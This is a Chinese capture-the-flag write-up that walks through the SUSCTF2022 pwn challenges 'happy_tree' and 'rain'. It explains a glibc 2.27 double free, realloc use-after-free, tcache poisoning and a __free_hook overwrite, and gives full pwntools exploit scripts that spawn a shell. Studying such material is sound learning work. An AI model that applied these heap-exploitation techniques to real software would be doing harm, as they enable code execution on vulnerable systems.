SUSCTF2022-pwn

有关SUSCTF2022的一些题目复现。复现的内容有参考队内队员脚本以及官方wp。题目和附件在文末,其中kernel两道题没有做。

happy_tree

这个pwn很有意思,出了一个递归导致的错误,以前还没见过(我做的题目还是太少了…)可能还是可以通过调试看出来。参考的wp是队内的脚本,赛后复现的。

程序主要实现了一个二叉排序树,按照data大小插入对应node左侧或者右侧。数据结构如下所示。这里主要用递归可能比较难理解一点。如果DS学的好可能比较容易。

1
2
3
4
5
6
7
8
struct tree
{
int index; // 二叉树的序号,也是chunk的大小(没有padding的)
int null; //不知道是啥
char* buf; // 储存数据
struct tree* left; // 左子树
struct tree* right; //右子树
}

这个地方主要的漏洞是由于libc版本是2.27,在key位置不会写入数据,导致key位置的right指针在free后不会被清空。会导致如下的情况。

image-20220228115228815

为什么right指向一个index为0的chunk可能不太好理解,是因为free之后,fd变成0,而fd位置也正好是index位置,因此就变成0。此时2依然有3的指针,那么free(0)就相当于free(3)第二次,导致double free。由于libc可以一开始泄露,因此后面的就很简单了。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
# 脚本参考albanis师傅
from pwn import *
filename="./happytree"
libc_name="./libc.so.6"
io = process(filename)
context.log_level='debug'
elf=ELF(filename)
libc=ELF(libc_name)
context.terminal=['tmux','split','-hp','60']


def insert(sz, data):
io.sendlineafter("cmd> ", "1")
io.sendlineafter("data: ", str(sz))
io.sendafter("content: ", data)

def dele(sz):
io.sendlineafter("cmd> ", "2")
io.sendlineafter("data: ", str(sz))

def show(sz):
io.sendlineafter("cmd> ", "3")
io.sendlineafter("data: ", str(sz))

def debug():
gdb.attach(io,"brva 0xFBE")
show(1)


for i in range(9):
insert(0x98+i, 'a')

for i in range(8):
dele(0x98+8-i)

for i in range(7):
insert(0x99+i, 'a') # clear tcache
# debug()
insert(12,'a')
show(12)
libc_info = u64(io.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
success("libc_info: " + hex(libc_info))
libc_base = libc_info - 0x3ebd61
success("libc_base: " + hex(libc_base))

insert(8,'a')
# gdb.attach(io,"brva 0xE17")
insert(9,'b')
dele(8)
# debug()
insert(8,'a') # 8's right ptr is still at 9
dele(8) # 8's right will be cat to 9's left

# gdb.attach(io,"brva 0xE17")
insert(13, 'a')
dele(9)
dele(0) # the size has become 0(into tcache ,that's why this is so strange), cause double-free

insert(14,p64(libc_base+libc.symbols['__free_hook']))
insert(15,'/bin/sh\x00')
insert(16, p64(libc_base+libc.symbols['system'])) # hijack free_hook
# debug()
dele(15)
io.interactive()

rain

一个实现打印字母雨的代码,很有意思。结构体有点小复杂,如下所示。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
struct rain
{
unsigned int height;
unsigned int width;
unsigned __int8 front_colour;
unsigned __int8 back_colour;
int *null1;
int *null2;
unsigned int rainfall;
unsigned int speed;
char *func;
char *table1;
char *table2;
};

我们能控制的是table2。程序接受一个buf输入,能够修改雨的类型和table等。逆向起来也不复杂。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
def form_buf(height,width,front_colour,back_colour,rainfall,content=0):
payload = b""
payload +=p32(height)
payload+=p32(width)
payload+=p16(front_colour)
payload+=p16(back_colour)
payload+=p32(rainfall)
payload = payload.ljust(18,b'\x00')
# print(payload)
if(content==0):
return payload
else:
payload = payload+content
return payload

有一个比较明显的漏洞在于config的时候调用了realloc,其中size可控。和pwnable的realloc两道题目很相似。这里控制realloc的size是0就可以实现UAF。但是比较困难的地方在于realloc到一个较大的size时不会从tcache里面取值。这就要求构造fastbin attack。但是即使构造好了,我们的指针也只能指向fastbin的第一个块,这个时候不能进行任何操作,如果改小size,下一次分配的时候通不过fastbin的size检查,如果改大了,会释放原先在fastbin头部的块,造成fastbin top double free的错误。比赛的时候就是卡在这里,没有了思路。

赛后看wp,发现大多都调用了raining刷新结构体。我本来也有想到这个,但是每次一刷新bash就坏掉了,直接EOF,单步调试发现可能是秒数的地方被改掉了(因为用了打unsortedbin的方法泄露libc)看了别人的wp才知道还能用GOT表,当时忘掉了。。。应该是只能通过劫持rain结构体来做。

step1 double free

double free还是很简单的,2.27(1.2)没有任何检查

1
2
3
4
5
6
buf = form_buf(0x1,0x1,0x2,0x1,0x64,b'a'*0x48) #0x90
config(buf)
buf = form_buf(0x1,0x1,0x2,0x1,0x64) # free buf
config(buf)
buf = form_buf(0x1,0x1,0x2,0x1,0x64) # free buf
config(buf) # double free buf

step2 rain

要先rain之后,清空原来的指针,之后malloc,才能利用double_free劫持相应结构体。具体因为在init中,可以看到malloc到了一块可控的大小

image-20220303195448405

之后我们只要控制下面的malloc不会把我们double free的申请出来就行。我们后面申请table的时候再申请一个,就相当于有第二份可控的指针用来修改rain结构体的数据。改其中数据为GOT表即可。

下图为源数据。看的方法是rain之后看0x50的bins中剩下的那个指针。

image-20220303195404300

我们修改之后的我数据长这样。

image-20220303201310904

看似成功了?不!因为此时table2就是这个结构体的起始地址,因此我们将打印出chr(0x50)而不是table中修改的libc!

我到这里也很苦恼,不知道怎么做。因为没办法让table2清空。看了wp才发现。程序中这里很诡异。

image-20220303201441123

这里判断是否打印我们的table时判断条件是table&&*table,感觉这个*table明显是多余的,这也是我们利用的方法。只需要realloc当前rain的table2并在开始字节写入一个p64(0)就能实现*table=0,从而打印table1内容!

image-20220303201821651

1
2
buf2 = form_buf(0x50,0x50,0x2,0x1,0x64,p64(0))
config(buf2) # 可以思考一下此时rain的指针长成什么样子?

getlibc之后?

在之前一道realloc-revenge中分析过,如果单纯使用realloc完成tcache攻击,至少需要两个快,否则需要堆溢出或者破坏堆结构,但是只有一次的写入机会。这里getlibc之后依然使用劫持结构体的方法写入freehook。和上述方法几乎完全一样。不过需要注意几点。

  1. 由于之前double free过rain chunk,因此fd位置被改成rain的height和width。如果再次malloc则会报错。因此我们需要这样修改一次rain。
1
2
buf = form_buf(0x0,0x0,0x2,0x1,0x64,payload) # important to write zero, because 0x48 chunk need NULL fd
config(buf)
  1. 利用此方法使用tcache写入freehook时,需要注意free_hook地址写成free_hook-0x8(思考一下为什么?)因为我们还需要一个/bin/sh要在某个堆块头部,很容易想到可以放在table2头部,调用realloc(ptr,0)时触发free_hook。但是这样free_hook就会覆盖为/bin/sh。因此写入free_hook-0x8时,可以第一个地方写/bin/sh,第二个地方写system。思路还是基本一致的。

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
from pwn import *
filename="./rain"
libc_name="./libc.so.6"
io = process(filename)
context.log_level='debug'
elf=ELF(filename)
libc=ELF(libc_name)
context.terminal=['tmux','split','-hp','60']


def config(input):
io.recvuntil('ch> ')
io.sendline('1')
io.recvuntil('FRAME> ')
io.send(input)

def show():
io.recvuntil('ch> ')
io.sendline('2')

def debug():
gdb.attach(io,"b *0x400E17")
show()

def change(aaa):
return bytes(aaa,encoding="utf-8")

def form_buf(height,width,front_colour,back_colour,rainfall,content=b''):
payload = b""
payload +=p32(height)
payload+=p32(width)
payload+=p8(front_colour)
payload+=p8(back_colour)
payload+=p32(rainfall)
payload = payload.ljust(18,b'a')
# print(payload)
if(content==0):
return payload
else:
payload = payload+content
return payload

show()
# USE double-free to hijack the rain structure
buf = form_buf(0x1,0x1,0x0,0x0,0x1,b'a'*0x48) #0x90
config(buf)
buf = form_buf(0x1,0x1,0x0,0x0,0x1) # free buf
config(buf)

# a normal buf to call normal rain
buf = form_buf(0x50,0x50,0x2,0x1,0x64,b'a'*0x58) # realloc to 0x58, double free also
config(buf)

# call rain to malloc a new one
io.recvuntil('ch> ')
io.sendline('3')
# debug() # check structure in the double-free chunk
payload = p32(0x50)+p32(0x50)+p8(2)+p8(1)+b'a'*6+p64(0)*3+p64(0x400E17)+p64(elf.got['puts'])+p64(0)
buf = form_buf(0x0,0x0,0x2,0x1,0x64,payload) # important to write zero, because 0x48 chunk need NULL fd
config(buf)
# debug()
buf2 = form_buf(0x50,0x50,0x2,0x1,0x64,p64(0))
config(buf2)
# debug() # check get libc
show()
io.recvuntil("Table: ")
libc_info = u64(io.recvuntil(b'\x7f').ljust(8, b'\x00'))
success("libc_info: " + hex(libc_info))
libc_base = libc_info - 0x080a30
success("libc_base: " + hex(libc_base))
# debug()
free_hook = libc_base + libc.sym['__free_hook']
system = libc_base + libc.symbols['system']

# gdb.attach(io,"b *0x401B50")
io.recvuntil('ch> ')
io.sendline('3') # clear
# debug() # check ok
buf = form_buf(0x1,0x1,0x0,0x0,0x1,b'a'*0x48) #0x90
config(buf) # add a 0x48 chunk
buf = form_buf(0x1,0x1,0x0,0x0,0x1) # free 0x48 chunk
config(buf)
config(buf) # double free
buf = form_buf(0x50,0x50,0x2,0x1,0x64,p64(free_hook-0x8).ljust(0x48,b'a'))
config(buf)
# debug() # check free_hook in tcache's bk

# gdb.attach(io,"b *0x401B50")
io.recvuntil('ch> ')
io.sendline('3') # clear

buf = form_buf(0x1,0x1,0x0,0x0,0x1,b'/bin/sh\x00'+p64(system)+b'a'*0x38)
config(buf)
# debug() # check free_hook hijacked

buf = form_buf(0x1,0x1,0x0,0x0,0x1)
config(buf) # call free


io.interactive()

image-20220303234237332

反思

自己做题的时候有想过rain这个操作能够更新结构体,其实能够更新也就很方便的可以做出来。但是一旦rain终端就崩了,很是苦恼。现在发现是因为form_buf的时候设置的colour大小出错,本应该是p8,写成了p16。实在是可惜啊。。

不过也通过这道题学到了一个新的思路:如果程序申请了结构体,可以通过想办法double-free打结构体,使得结构体指针可控。其实kernel条件竞争中存在着这样类似的思路(劫持cred结构体)。

题目和附件

文章目录
  1. 1. happy_tree
  2. 2. rain
    1. 2.1. step1 double free
    2. 2.2. step2 rain
    3. 2.3. getlibc之后?
    4. 2.4. exp
    5. 2.5. 反思
|